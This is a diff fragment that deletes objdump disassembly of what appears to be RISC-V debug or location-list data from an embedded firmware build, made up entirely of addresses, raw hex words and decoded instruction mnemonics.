-     cc2:	4620401b          	0x4620401b
-     cc6:	0120401b          	0x120401b
-     cca:	5a00                	lw	s0,48(a2)
-     ccc:	1b46                	slli	s6,s6,0x31
-     cce:	2040                	fld	fs0,128(s0)
-     cd0:	1b48                	addi	a0,sp,436
-     cd2:	2040                	fld	fs0,128(s0)
-     cd4:	0001                	nop
-     cd6:	485d                	li	a6,23
-     cd8:	5420401b          	0x5420401b
-     cdc:	0120401b          	0x120401b
-     ce0:	5a00                	lw	s0,48(a2)
-     ce2:	1b54                	addi	a3,sp,436
-     ce4:	2040                	fld	fs0,128(s0)
-     ce6:	1b56                	slli	s6,s6,0x35
-     ce8:	2040                	fld	fs0,128(s0)
-     cea:	0001                	nop
-     cec:	565d                	li	a2,-9
-     cee:	6220401b          	0x6220401b
-     cf2:	0120401b          	0x120401b
-     cf6:	5a00                	lw	s0,48(a2)
-     cf8:	1b62                	slli	s6,s6,0x38
-     cfa:	2040                	fld	fs0,128(s0)
-     cfc:	1b64                	addi	s1,sp,444
-     cfe:	2040                	fld	fs0,128(s0)
-     d00:	0001                	nop
-     d02:	645d                	lui	s0,0x17
-     d04:	7220401b          	0x7220401b
-     d08:	0120401b          	0x120401b
-     d0c:	5a00                	lw	s0,48(a2)
-     d0e:	1b72                	slli	s6,s6,0x3c
-     d10:	2040                	fld	fs0,128(s0)
-     d12:	1b75                	addi	s6,s6,-3
-     d14:	2040                	fld	fs0,128(s0)
-     d16:	0001                	nop
-     d18:	755d                	lui	a0,0xffff7
-     d1a:	d020401b          	0xd020401b
-     d1e:	0320401b          	0x320401b
-     d22:	9100                	0x9100
-     d24:	7f9c                	flw	fa5,56(a5)
-     d26:	1bd0                	addi	a2,sp,500
-     d28:	2040                	fld	fs0,128(s0)
-     d2a:	1bde                	slli	s7,s7,0x37
-     d2c:	2040                	fld	fs0,128(s0)
-     d2e:	0001                	nop
-     d30:	de5a                	sw	s6,60(sp)
-     d32:	e120401b          	0xe120401b
-     d36:	0120401b          	0x120401b
-     d3a:	5d00                	lw	s0,56(a0)
-     d3c:	1be1                	addi	s7,s7,-8
-     d3e:	2040                	fld	fs0,128(s0)
-     d40:	1c3e                	slli	s8,s8,0x2f
-     d42:	2040                	fld	fs0,128(s0)
-     d44:	9c910003          	lb	zero,-1591(sp)
-     d48:	3e7f                	0x3e7f
-     d4a:	401c                	lw	a5,0(s0)
-     d4c:	4820                	lw	s0,80(s0)
-     d4e:	401c                	lw	a5,0(s0)
-     d50:	0120                	addi	s0,sp,136
-     d52:	5a00                	lw	s0,48(a2)
-     d54:	1c48                	addi	a0,sp,564
-     d56:	2040                	fld	fs0,128(s0)
-     d58:	20401c4f          	fnmadd.s	fs8,ft0,ft4,ft4,rtz
-     d5c:	0001                	nop
-     d5e:	005d                	c.nop	23
-     d60:	0000                	unimp
-     d62:	0000                	unimp
-     d64:	0000                	unimp
-     d66:	5200                	lw	s0,32(a2)
-     d68:	401c                	lw	a5,0(s0)
-     d6a:	6a20                	flw	fs0,80(a2)
-     d6c:	401c                	lw	a5,0(s0)
-     d6e:	0120                	addi	s0,sp,136
-     d70:	5800                	lw	s0,48(s0)
-     d72:	1c6a                	slli	s8,s8,0x3a
-     d74:	2040                	fld	fs0,128(s0)
-     d76:	1c6e                	slli	s8,s8,0x3b
-     d78:	2040                	fld	fs0,128(s0)
-     d7a:	0001                	nop
-     d7c:	6e5a                	flw	ft8,148(sp)
-     d7e:	401c                	lw	a5,0(s0)
-     d80:	8a20                	0x8a20
-     d82:	401c                	lw	a5,0(s0)
-     d84:	0120                	addi	s0,sp,136
-     d86:	5800                	lw	s0,48(s0)
-	...
-     d90:	2bc0                	fld	fs0,144(a5)
-     d92:	2040                	fld	fs0,128(s0)
-     d94:	20402bcf          	fnmadd.s	fs7,ft0,ft4,ft4,rdn
-     d98:	0001                	nop
-     d9a:	cf5a                	sw	s6,156(sp)
-     d9c:	1420402b          	0x1420402b
-     da0:	402c                	lw	a1,64(s0)
-     da2:	0420                	addi	s0,sp,520
-     da4:	f300                	fsw	fs0,32(a4)
-     da6:	5a01                	li	s4,-32
-     da8:	009f 0000 0000      	0x9f
-     dae:	0000                	unimp
-     db0:	c000                	sw	s0,0(s0)
-     db2:	cf20402b          	0xcf20402b
-     db6:	0120402b          	0x120402b
-     dba:	5b00                	lw	s0,48(a4)
-     dbc:	20402bcf          	fnmadd.s	fs7,ft0,ft4,ft4,rdn
-     dc0:	2be8                	fld	fa0,208(a5)
-     dc2:	2040                	fld	fs0,128(s0)
-     dc4:	0001                	nop
-     dc6:	e858                	fsw	fa4,20(s0)
-     dc8:	f020402b          	0xf020402b
-     dcc:	0420402b          	0x420402b
-     dd0:	f300                	fsw	fs0,32(a4)
-     dd2:	5b01                	li	s6,-32
-     dd4:	f09f 402b 1420      	0x1420402bf09f
-     dda:	402c                	lw	a1,64(s0)
-     ddc:	0120                	addi	s0,sp,136
-     dde:	5800                	lw	s0,48(s0)
-	...
-     de8:	2bc0                	fld	fs0,144(a5)
-     dea:	2040                	fld	fs0,128(s0)
-     dec:	20402bcf          	fnmadd.s	fs7,ft0,ft4,ft4,rdn
-     df0:	0001                	nop
-     df2:	cf5c                	sw	a5,28(a4)
-     df4:	e420402b          	0xe420402b
-     df8:	0120402b          	0x120402b
-     dfc:	5900                	lw	s0,48(a0)
-     dfe:	2be4                	fld	fs1,208(a5)
-     e00:	2040                	fld	fs0,128(s0)
-     e02:	2bf0                	fld	fa2,208(a5)
-     e04:	2040                	fld	fs0,128(s0)
-     e06:	0004                	0x4
-     e08:	9f5c01f3          	0x9f5c01f3
-     e0c:	2bf0                	fld	fa2,208(a5)
-     e0e:	2040                	fld	fs0,128(s0)
-     e10:	2c12                	fld	fs8,256(sp)
-     e12:	2040                	fld	fs0,128(s0)
-     e14:	0001                	nop
-     e16:	1259                	addi	tp,tp,-10
-     e18:	402c                	lw	a1,64(s0)
-     e1a:	1420                	addi	s0,sp,552
-     e1c:	402c                	lw	a1,64(s0)
-     e1e:	0420                	addi	s0,sp,520
-     e20:	f300                	fsw	fs0,32(a4)
-     e22:	5c01                	li	s8,-32
-     e24:	009f 0000 0000      	0x9f
-     e2a:	0000                	unimp
-     e2c:	e000                	fsw	fs0,0(s0)
-     e2e:	e420402b          	0xe420402b
-     e32:	0620402b          	0x620402b
-     e36:	7b00                	flw	fs0,48(a4)
-     e38:	7800                	flw	fs0,48(s0)
-     e3a:	1c00                	addi	s0,sp,560
-     e3c:	f09f 402b 0c20      	0xc20402bf09f
-     e42:	402c                	lw	a1,64(s0)
-     e44:	0620                	addi	s0,sp,776
-     e46:	7b00                	flw	fs0,48(a4)
-     e48:	7800                	flw	fs0,48(s0)
-     e4a:	1c00                	addi	s0,sp,560
-     e4c:	0c9f 402c 0e20      	0xe20402c0c9f
-     e52:	402c                	lw	a1,64(s0)
-     e54:	0820                	addi	s0,sp,24
-     e56:	7b00                	flw	fs0,48(a4)
-     e58:	7800                	flw	fs0,48(s0)
-     e5a:	1c00                	addi	s0,sp,560
-     e5c:	0e9f0123          	sb	s1,226(t5)
-     e60:	402c                	lw	a1,64(s0)
-     e62:	1020                	addi	s0,sp,40
-     e64:	402c                	lw	a1,64(s0)
-     e66:	0620                	addi	s0,sp,776
-     e68:	7b00                	flw	fs0,48(a4)
-     e6a:	7800                	flw	fs0,48(s0)
-     e6c:	1c00                	addi	s0,sp,560
-     e6e:	009f 0000 0000      	0x9f
-     e74:	0000                	unimp
-     e76:	8400                	0x8400
-     e78:	9320402b          	0x9320402b
-     e7c:	0120402b          	0x120402b
-     e80:	5a00                	lw	s0,48(a2)
-     e82:	20402b93          	slti	s7,zero,516
-     e86:	2bc0                	fld	fs0,144(a5)
-     e88:	2040                	fld	fs0,128(s0)
-     e8a:	0004                	0x4
-     e8c:	9f5a01f3          	0x9f5a01f3
-	...
-     e98:	2b84                	fld	fs1,16(a5)
-     e9a:	2040                	fld	fs0,128(s0)
-     e9c:	20402b93          	slti	s7,zero,516
-     ea0:	0001                	nop
-     ea2:	402b935b          	0x402b935b
-     ea6:	9c20                	0x9c20
-     ea8:	0120402b          	0x120402b
-     eac:	5800                	lw	s0,48(s0)
-     eae:	2b9c                	fld	fa5,16(a5)
-     eb0:	2040                	fld	fs0,128(s0)
-     eb2:	2ba6                	fld	fs7,72(sp)
-     eb4:	2040                	fld	fs0,128(s0)
-     eb6:	0006                	c.slli	zero,0x1
-     eb8:	0078                	addi	a4,sp,12
-     eba:	007a                	c.slli	zero,0x1e
-     ebc:	9f22                	add	t5,t5,s0
-     ebe:	2bb0                	fld	fa2,80(a5)
-     ec0:	2040                	fld	fs0,128(s0)
-     ec2:	2bba                	fld	fs7,392(sp)
-     ec4:	2040                	fld	fs0,128(s0)
-     ec6:	0008                	0x8
-     ec8:	0078                	addi	a4,sp,12
-     eca:	007a                	c.slli	zero,0x1e
-     ecc:	2322                	fld	ft6,8(sp)
-     ece:	9f01                	0x9f01
-     ed0:	2bba                	fld	fs7,392(sp)
-     ed2:	2040                	fld	fs0,128(s0)
-     ed4:	2bbc                	fld	fa5,80(a5)
-     ed6:	2040                	fld	fs0,128(s0)
-     ed8:	0006                	c.slli	zero,0x1
-     eda:	0078                	addi	a4,sp,12
-     edc:	007a                	c.slli	zero,0x1e
-     ede:	9f22                	add	t5,t5,s0
-     ee0:	2bbc                	fld	fa5,80(a5)
-     ee2:	2040                	fld	fs0,128(s0)
-     ee4:	2bc0                	fld	fs0,144(a5)
-     ee6:	2040                	fld	fs0,128(s0)
-     ee8:	0001                	nop
-     eea:	0058                	addi	a4,sp,4
-     eec:	0000                	unimp
-     eee:	0000                	unimp
-     ef0:	0000                	unimp
-     ef2:	8400                	0x8400
-     ef4:	9320402b          	0x9320402b
-     ef8:	0120402b          	0x120402b
-     efc:	5c00                	lw	s0,56(s0)
-     efe:	20402b93          	slti	s7,zero,516
-     f02:	2bac                	fld	fa1,80(a5)
-     f04:	2040                	fld	fs0,128(s0)
-     f06:	0001                	nop
-     f08:	ac59                	j	119e <__stack_size+0x99e>
-     f0a:	b020402b          	0xb020402b
-     f0e:	0420402b          	0x420402b
-     f12:	f300                	fsw	fs0,32(a4)
-     f14:	5c01                	li	s8,-32
-     f16:	b09f 402b c020      	0xc020402bb09f
-     f1c:	0120402b          	0x120402b
-     f20:	5900                	lw	s0,48(a0)
-	...
-     f2a:	2b9c                	fld	fa5,16(a5)
-     f2c:	2040                	fld	fs0,128(s0)
-     f2e:	2ba6                	fld	fs7,72(sp)
-     f30:	2040                	fld	fs0,128(s0)
-     f32:	0001                	nop
-     f34:	b05a                	fsd	fs6,32(sp)
-     f36:	bc20402b          	0xbc20402b
-     f3a:	0120402b          	0x120402b
-     f3e:	5a00                	lw	s0,48(a2)
-	...
-     f48:	2ba2                	fld	fs7,8(sp)
-     f4a:	2040                	fld	fs0,128(s0)
-     f4c:	2ba6                	fld	fs7,72(sp)
-     f4e:	2040                	fld	fs0,128(s0)
-     f50:	0001                	nop
-     f52:	b05f 402b bc20      	0xbc20402bb05f
-     f58:	0120402b          	0x120402b
-     f5c:	5f00                	lw	s0,56(a4)
-	...
-     f66:	2b54                	fld	fa3,144(a4)
-     f68:	2040                	fld	fs0,128(s0)
-     f6a:	20402b63          	0x20402b63
-     f6e:	0001                	nop
-     f70:	635a                	flw	ft6,148(sp)
-     f72:	8420402b          	0x8420402b
-     f76:	0420402b          	0x420402b
-     f7a:	f300                	fsw	fs0,32(a4)
-     f7c:	5a01                	li	s4,-32
-     f7e:	009f 0000 0000      	0x9f
-     f84:	0000                	unimp
-     f86:	5400                	lw	s0,40(s0)
-     f88:	5e20402b          	0x5e20402b
-     f8c:	0120402b          	0x120402b
-     f90:	5b00                	lw	s0,48(a4)
-     f92:	2b5e                	fld	fs6,464(sp)
-     f94:	2040                	fld	fs0,128(s0)
-     f96:	2b84                	fld	fs1,16(a5)
-     f98:	2040                	fld	fs0,128(s0)
-     f9a:	0004                	0x4
-     f9c:	9f5b01f3          	0x9f5b01f3
-	...
-     fa8:	2b54                	fld	fa3,144(a4)
-     faa:	2040                	fld	fs0,128(s0)
-     fac:	20402b63          	0x20402b63
-     fb0:	0001                	nop
-     fb2:	635c                	flw	fa5,4(a4)
-     fb4:	8420402b          	0x8420402b
-     fb8:	0420402b          	0x420402b
-     fbc:	f300                	fsw	fs0,32(a4)
-     fbe:	5c01                	li	s8,-32
-     fc0:	009f 0000 0000      	0x9f
-     fc6:	0000                	unimp
-     fc8:	5000                	lw	s0,32(s0)
-     fca:	5220402b          	0x5220402b
-     fce:	0120402b          	0x120402b
-     fd2:	5a00                	lw	s0,48(a2)
-     fd4:	2b52                	fld	fs6,272(sp)
-     fd6:	2040                	fld	fs0,128(s0)
-     fd8:	2b54                	fld	fa3,144(a4)
-     fda:	2040                	fld	fs0,128(s0)
-     fdc:	0004                	0x4
-     fde:	9f5a01f3          	0x9f5a01f3
-	...
-     fea:	2b4a                	fld	fs6,144(sp)
-     fec:	2040                	fld	fs0,128(s0)
-     fee:	2b4e                	fld	fs6,208(sp)
-     ff0:	2040                	fld	fs0,128(s0)
-     ff2:	0001                	nop
-     ff4:	4e5a                	lw	t3,148(sp)
-     ff6:	5020402b          	0x5020402b
-     ffa:	0420402b          	0x420402b
-     ffe:	f300                	fsw	fs0,32(a4)
-    1000:	5a01                	li	s4,-32
-    1002:	009f 0000 0000      	0x9f
-    1008:	0000                	unimp
-    100a:	2800                	fld	fs0,16(s0)
-    100c:	3020402b          	0x3020402b
-    1010:	0120402b          	0x120402b
-    1014:	5a00                	lw	s0,48(a2)
-    1016:	2b30                	fld	fa2,80(a4)
-    1018:	2040                	fld	fs0,128(s0)
-    101a:	2b36                	fld	fs6,328(sp)
-    101c:	2040                	fld	fs0,128(s0)
-    101e:	0001                	nop
-    1020:	365f 402b 4a20      	0x4a20402b365f
-    1026:	0420402b          	0x420402b
-    102a:	f300                	fsw	fs0,32(a4)
-    102c:	5a01                	li	s4,-32
-    102e:	009f 0000 0000      	0x9f
-    1034:	0000                	unimp
-    1036:	2000                	fld	fs0,0(s0)
-    1038:	2620402b          	0x2620402b
-    103c:	0120402b          	0x120402b
-    1040:	5a00                	lw	s0,48(a2)
-    1042:	2b26                	fld	fs6,72(sp)
-    1044:	2040                	fld	fs0,128(s0)
-    1046:	2b28                	fld	fa0,80(a4)
-    1048:	2040                	fld	fs0,128(s0)
-    104a:	0004                	0x4
-    104c:	9f5a01f3          	0x9f5a01f3
-	...
-    1058:	2b1c                	fld	fa5,16(a4)
-    105a:	2040                	fld	fs0,128(s0)
-    105c:	2b1e                	fld	fs6,448(sp)
-    105e:	2040                	fld	fs0,128(s0)
-    1060:	0001                	nop
-    1062:	1e5a                	slli	t3,t3,0x36
-    1064:	2020402b          	0x2020402b
-    1068:	0420402b          	0x420402b
-    106c:	f300                	fsw	fs0,32(a4)
-    106e:	5a01                	li	s4,-32
-    1070:	009f 0000 0000      	0x9f
-    1076:	0000                	unimp
-    1078:	0000                	unimp
-    107a:	0000                	unimp
-    107c:	1000                	addi	s0,sp,32
-    107e:	0000                	unimp
-    1080:	0600                	addi	s0,sp,768
-    1082:	5a00                	lw	s0,48(a2)
-    1084:	935b0493          	addi	s1,s6,-1739 # 204015d9 <flash+0x15d9>
-    1088:	1004                	addi	s1,sp,32
-    108a:	0000                	unimp
-    108c:	1a00                	addi	s0,sp,304
-    108e:	0000                	unimp
-    1090:	0600                	addi	s0,sp,768
-    1092:	f300                	fsw	fs0,32(a4)
-    1094:	250af503          	0x250af503
-    1098:	1a9f 0000 2200      	0x220000001a9f
-    109e:	0000                	unimp
-    10a0:	0600                	addi	s0,sp,768
-    10a2:	5a00                	lw	s0,48(a2)
-    10a4:	935b0493          	addi	s1,s6,-1739
-    10a8:	2204                	fld	fs1,0(a2)
-    10aa:	0000                	unimp
-    10ac:	2a00                	fld	fs0,16(a2)
-    10ae:	0000                	unimp
-    10b0:	0600                	addi	s0,sp,768
-    10b2:	f300                	fsw	fs0,32(a4)
-    10b4:	250af503          	0x250af503
-    10b8:	009f 0000 0000      	0x9f
-    10be:	0000                	unimp
-    10c0:	0800                	addi	s0,sp,16
-    10c2:	0000                	unimp
-    10c4:	1800                	addi	s0,sp,48
-    10c6:	0000                	unimp
-    10c8:	0100                	addi	s0,sp,128
-    10ca:	5f00                	lw	s0,56(a4)
-    10cc:	001a                	c.slli	zero,0x6
-    10ce:	0000                	unimp
-    10d0:	002a                	c.slli	zero,0xa
-    10d2:	0000                	unimp
-    10d4:	0001                	nop
-    10d6:	005f 0000 0000      	0x5f
-    10dc:	0000                	unimp
-    10de:	1a00                	addi	s0,sp,304
-    10e0:	0000                	unimp
-    10e2:	2600                	fld	fs0,8(a2)
-    10e4:	0000                	unimp
-    10e6:	0600                	addi	s0,sp,768
-    10e8:	7b00                	flw	fs0,48(a4)
-    10ea:	7f00                	flw	fs0,56(a4)
-    10ec:	2400                	fld	fs0,8(s0)
-    10ee:	009f 0000 0000      	0x9f
-    10f4:	0000                	unimp
-    10f6:	0000                	unimp
-    10f8:	0000                	unimp
-    10fa:	0800                	addi	s0,sp,16
-    10fc:	0000                	unimp
-    10fe:	0600                	addi	s0,sp,768
-    1100:	5a00                	lw	s0,48(a2)
-    1102:	935b0493          	addi	s1,s6,-1739
-    1106:	0804                	addi	s1,sp,16
-    1108:	0000                	unimp
-    110a:	6000                	flw	fs0,0(s0)
-    110c:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1110:	f300                	fsw	fs0,32(a4)
-    1112:	250af503          	0x250af503
-    1116:	009f 0000 0000      	0x9f
-    111c:	0000                	unimp
-    111e:	0000                	unimp
-    1120:	0000                	unimp
-    1122:	6000                	flw	fs0,0(s0)
-    1124:	0000                	unimp
-    1126:	0600                	addi	s0,sp,768
-    1128:	5c00                	lw	s0,56(s0)
-    112a:	935d0493          	addi	s1,s10,-1739 # 1c935 <__stack_size+0x1c135>
-    112e:	6004                	flw	fs1,0(s0)
-    1130:	0000                	unimp
-    1132:	c600                	sw	s0,8(a2)
-    1134:	0000                	unimp
-    1136:	0600                	addi	s0,sp,768
-    1138:	f300                	fsw	fs0,32(a4)
-    113a:	250cf503          	0x250cf503
-    113e:	c69f 0000 fa00      	0xfa000000c69f
-    1144:	0000                	unimp
-    1146:	0600                	addi	s0,sp,768
-    1148:	5c00                	lw	s0,56(s0)
-    114a:	935d0493          	addi	s1,s10,-1739
-    114e:	fa04                	fsw	fs1,48(a2)
-    1150:	0000                	unimp
-    1152:	7c00                	flw	fs0,56(s0)
-    1154:	0001                	nop
-    1156:	0600                	addi	s0,sp,768
-    1158:	f300                	fsw	fs0,32(a4)
-    115a:	250cf503          	0x250cf503
-    115e:	7c9f 0001 8a00      	0x8a0000017c9f
-    1164:	0001                	nop
-    1166:	0600                	addi	s0,sp,768
-    1168:	5c00                	lw	s0,56(s0)
-    116a:	935d0493          	addi	s1,s10,-1739
-    116e:	8a04                	0x8a04
-    1170:	0001                	nop
-    1172:	1600                	addi	s0,sp,800
-    1174:	0002                	c.slli64	zero
-    1176:	0600                	addi	s0,sp,768
-    1178:	f300                	fsw	fs0,32(a4)
-    117a:	250cf503          	0x250cf503
-    117e:	169f 0002 9000      	0x90000002169f
-    1184:	0002                	c.slli64	zero
-    1186:	0600                	addi	s0,sp,768
-    1188:	5c00                	lw	s0,56(s0)
-    118a:	935d0493          	addi	s1,s10,-1739
-    118e:	9004                	0x9004
-    1190:	0002                	c.slli64	zero
-    1192:	5a00                	lw	s0,48(a2)
-    1194:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1198:	f300                	fsw	fs0,32(a4)
-    119a:	250cf503          	0x250cf503
-    119e:	5a9f 0003 6000      	0x600000035a9f
-    11a4:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    11a8:	5c00                	lw	s0,56(s0)
-    11aa:	935d0493          	addi	s1,s10,-1739
-    11ae:	0004                	0x4
-    11b0:	0000                	unimp
-    11b2:	0000                	unimp
-    11b4:	0000                	unimp
-    11b6:	0200                	addi	s0,sp,256
-    11b8:	0000                	unimp
-    11ba:	7a00                	flw	fs0,48(a2)
-    11bc:	0001                	nop
-    11be:	0200                	addi	s0,sp,256
-    11c0:	3000                	fld	fs0,32(s0)
-    11c2:	7c9f 0001 6000      	0x600000017c9f
-    11c8:	02000003          	lb	zero,32(zero) # 20 <__stack_size-0x7e0>
-    11cc:	3000                	fld	fs0,32(s0)
-    11ce:	009f 0000 0000      	0x9f
-    11d4:	0000                	unimp
-    11d6:	0200                	addi	s0,sp,256
-    11d8:	0000                	unimp
-    11da:	1600                	addi	s0,sp,800
-    11dc:	0000                	unimp
-    11de:	0600                	addi	s0,sp,768
-    11e0:	5c00                	lw	s0,56(s0)
-    11e2:	935d0493          	addi	s1,s10,-1739
-    11e6:	1604                	addi	s1,sp,800
-    11e8:	0000                	unimp
-    11ea:	2a00                	fld	fs0,16(a2)
-    11ec:	0000                	unimp
-    11ee:	0600                	addi	s0,sp,768
-    11f0:	5c00                	lw	s0,56(s0)
-    11f2:	935a0493          	addi	s1,s4,-1739
-    11f6:	c604                	sw	s1,8(a2)
-    11f8:	0000                	unimp
-    11fa:	ca00                	sw	s0,16(a2)
-    11fc:	0000                	unimp
-    11fe:	0600                	addi	s0,sp,768
-    1200:	5c00                	lw	s0,56(s0)
-    1202:	935a0493          	addi	s1,s4,-1739
-    1206:	d404                	sw	s1,40(s0)
-    1208:	0000                	unimp
-    120a:	ec00                	fsw	fs0,24(s0)
-    120c:	0000                	unimp
-    120e:	0600                	addi	s0,sp,768
-    1210:	5c00                	lw	s0,56(s0)
-    1212:	935a0493          	addi	s1,s4,-1739
-    1216:	7c04                	flw	fs1,56(s0)
-    1218:	0001                	nop
-    121a:	8200                	0x8200
-    121c:	0001                	nop
-    121e:	0600                	addi	s0,sp,768
-    1220:	5c00                	lw	s0,56(s0)
-    1222:	935a0493          	addi	s1,s4,-1739
-    1226:	1604                	addi	s1,sp,800
-    1228:	0002                	c.slli64	zero
-    122a:	2e00                	fld	fs0,24(a2)
-    122c:	0002                	c.slli64	zero
-    122e:	0600                	addi	s0,sp,768
-    1230:	5c00                	lw	s0,56(s0)
-    1232:	935a0493          	addi	s1,s4,-1739
-    1236:	2e04                	fld	fs1,24(a2)
-    1238:	0002                	c.slli64	zero
-    123a:	5a00                	lw	s0,48(a2)
-    123c:	0002                	c.slli64	zero
-    123e:	0600                	addi	s0,sp,768
-    1240:	5c00                	lw	s0,56(s0)
-    1242:	935d0493          	addi	s1,s10,-1739
-    1246:	5a04                	lw	s1,48(a2)
-    1248:	0002                	c.slli64	zero
-    124a:	6800                	flw	fs0,16(s0)
-    124c:	0002                	c.slli64	zero
-    124e:	0600                	addi	s0,sp,768
-    1250:	5c00                	lw	s0,56(s0)
-    1252:	935a0493          	addi	s1,s4,-1739
-    1256:	6804                	flw	fs1,16(s0)
-    1258:	0002                	c.slli64	zero
-    125a:	7000                	flw	fs0,32(s0)
-    125c:	0002                	c.slli64	zero
-    125e:	0600                	addi	s0,sp,768
-    1260:	5c00                	lw	s0,56(s0)
-    1262:	935d0493          	addi	s1,s10,-1739
-    1266:	5a04                	lw	s1,48(a2)
-    1268:	5e000003          	lb	zero,1504(zero) # 5e0 <__stack_size-0x220>
-    126c:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1270:	5c00                	lw	s0,56(s0)
-    1272:	935a0493          	addi	s1,s4,-1739
-    1276:	5e04                	lw	s1,56(a2)
-    1278:	60000003          	lb	zero,1536(zero) # 600 <__stack_size-0x200>
-    127c:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1280:	5c00                	lw	s0,56(s0)
-    1282:	935d0493          	addi	s1,s10,-1739
-    1286:	0004                	0x4
-    1288:	0000                	unimp
-    128a:	0000                	unimp
-    128c:	0000                	unimp
-    128e:	0200                	addi	s0,sp,256
-    1290:	0000                	unimp
-    1292:	0800                	addi	s0,sp,16
-    1294:	0000                	unimp
-    1296:	0600                	addi	s0,sp,768
-    1298:	5a00                	lw	s0,48(a2)
-    129a:	935b0493          	addi	s1,s6,-1739
-    129e:	0804                	addi	s1,sp,16
-    12a0:	0000                	unimp
-    12a2:	4600                	lw	s0,8(a2)
-    12a4:	0000                	unimp
-    12a6:	0600                	addi	s0,sp,768
-    12a8:	6100                	flw	fs0,0(a0)
-    12aa:	935b0493          	addi	s1,s6,-1739
-    12ae:	4604                	lw	s1,8(a2)
-    12b0:	0000                	unimp
-    12b2:	5800                	lw	s0,48(s0)
-    12b4:	0000                	unimp
-    12b6:	0600                	addi	s0,sp,768
-    12b8:	6100                	flw	fs0,0(a0)
-    12ba:	935f0493          	addi	s1,t5,-1739
-    12be:	c604                	sw	s1,8(a2)
-    12c0:	0000                	unimp
-    12c2:	0a00                	addi	s0,sp,272
-    12c4:	0001                	nop
-    12c6:	0600                	addi	s0,sp,768
-    12c8:	5600                	lw	s0,40(a2)
-    12ca:	935b0493          	addi	s1,s6,-1739
-    12ce:	7c04                	flw	fs1,56(s0)
-    12d0:	0001                	nop
-    12d2:	9600                	0x9600
-    12d4:	0001                	nop
-    12d6:	0600                	addi	s0,sp,768
-    12d8:	5600                	lw	s0,40(a2)
-    12da:	935b0493          	addi	s1,s6,-1739
-    12de:	9604                	0x9604
-    12e0:	0001                	nop
-    12e2:	a200                	fsd	fs0,0(a2)
-    12e4:	0001                	nop
-    12e6:	0600                	addi	s0,sp,768
-    12e8:	6100                	flw	fs0,0(a0)
-    12ea:	935b0493          	addi	s1,s6,-1739
-    12ee:	1604                	addi	s1,sp,800
-    12f0:	0002                	c.slli64	zero
-    12f2:	2800                	fld	fs0,16(s0)
-    12f4:	0002                	c.slli64	zero
-    12f6:	0600                	addi	s0,sp,768
-    12f8:	5600                	lw	s0,40(a2)
-    12fa:	935b0493          	addi	s1,s6,-1739
-    12fe:	2804                	fld	fs1,16(s0)
-    1300:	0002                	c.slli64	zero
-    1302:	5a00                	lw	s0,48(a2)
-    1304:	0002                	c.slli64	zero
-    1306:	0600                	addi	s0,sp,768
-    1308:	5600                	lw	s0,40(a2)
-    130a:	935f0493          	addi	s1,t5,-1739
-    130e:	5a04                	lw	s1,48(a2)
-    1310:	0002                	c.slli64	zero
-    1312:	6000                	flw	fs0,0(s0)
-    1314:	0002                	c.slli64	zero
-    1316:	0600                	addi	s0,sp,768
-    1318:	5600                	lw	s0,40(a2)
-    131a:	935b0493          	addi	s1,s6,-1739
-    131e:	6004                	flw	fs1,0(s0)
-    1320:	0002                	c.slli64	zero
-    1322:	7800                	flw	fs0,48(s0)
-    1324:	0002                	c.slli64	zero
-    1326:	0600                	addi	s0,sp,768
-    1328:	5600                	lw	s0,40(a2)
-    132a:	935f0493          	addi	s1,t5,-1739
-    132e:	7804                	flw	fs1,48(s0)
-    1330:	0002                	c.slli64	zero
-    1332:	8400                	0x8400
-    1334:	0002                	c.slli64	zero
-    1336:	0600                	addi	s0,sp,768
-    1338:	6100                	flw	fs0,0(a0)
-    133a:	935f0493          	addi	s1,t5,-1739
-    133e:	5a04                	lw	s1,48(a2)
-    1340:	5c000003          	lb	zero,1472(zero) # 5c0 <__stack_size-0x240>
-    1344:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1348:	5600                	lw	s0,40(a2)
-    134a:	935b0493          	addi	s1,s6,-1739
-    134e:	5c04                	lw	s1,56(s0)
-    1350:	60000003          	lb	zero,1536(zero) # 600 <__stack_size-0x200>
-    1354:	06000003          	lb	zero,96(zero) # 60 <__stack_size-0x7a0>
-    1358:	5600                	lw	s0,40(a2)
-    135a:	935f0493          	addi	s1,t5,-1739
-    135e:	0004                	0x4
-    1360:	0000                	unimp
-    1362:	0000                	unimp
-    1364:	0000                	unimp
-    1366:	0600                	addi	s0,sp,768
-    1368:	0000                	unimp
-    136a:	4200                	lw	s0,0(a2)
-    136c:	0000                	unimp
-    136e:	0100                	addi	s0,sp,128
-    1370:	5c00                	lw	s0,56(s0)
-    1372:	0042                	c.slli	zero,0x10
-    1374:	0000                	unimp
-    1376:	004e                	c.slli	zero,0x13
-    1378:	0000                	unimp
-    137a:	0009                	c.nop	2
-    137c:	007c                	addi	a5,sp,12
-    137e:	007d                	c.nop	31
-    1380:	ff08                	fsw	fa0,56(a4)
-    1382:	241a                	fld	fs0,384(sp)
-    1384:	4e9f 0000 c200      	0xc20000004e9f
-    138a:	0000                	unimp
-    138c:	0100                	addi	s0,sp,128
-    138e:	6000                	flw	fs0,0(s0)
-    1390:	00c6                	slli	ra,ra,0x11
-    1392:	0000                	unimp
-    1394:	00d8                	addi	a4,sp,68
-    1396:	0000                	unimp
-    1398:	0001                	nop
-    139a:	d85c                	sw	a5,52(s0)
-    139c:	0000                	unimp
-    139e:	dc00                	sw	s0,56(s0)
-    13a0:	0000                	unimp
-    13a2:	0b00                	addi	s0,sp,400
-    13a4:	3100                	fld	fs0,32(a0)
-    13a6:	007c2cf7          	0x7c2cf7
-    13aa:	f71b2cf7          	0xf71b2cf7
-    13ae:	9f00                	0x9f00
-    13b0:	00dc                	addi	a5,sp,68
-    13b2:	0000                	unimp
-    13b4:	017a                	slli	sp,sp,0x1e
-    13b6:	0000                	unimp
-    13b8:	0001                	nop
-    13ba:	7c60                	flw	fs0,124(s0)
-    13bc:	0001                	nop
-    13be:	8a00                	0x8a00
-    13c0:	0001                	nop
-    13c2:	0100                	addi	s0,sp,128
-    13c4:	6000                	flw	fs0,0(s0)
-    13c6:	018a                	slli	gp,gp,0x2
-    13c8:	0000                	unimp
-    13ca:	018e                	slli	gp,gp,0x3
-    13cc:	0000                	unimp
-    13ce:	0009                	c.nop	2
-    13d0:	0080                	addi	s0,sp,64
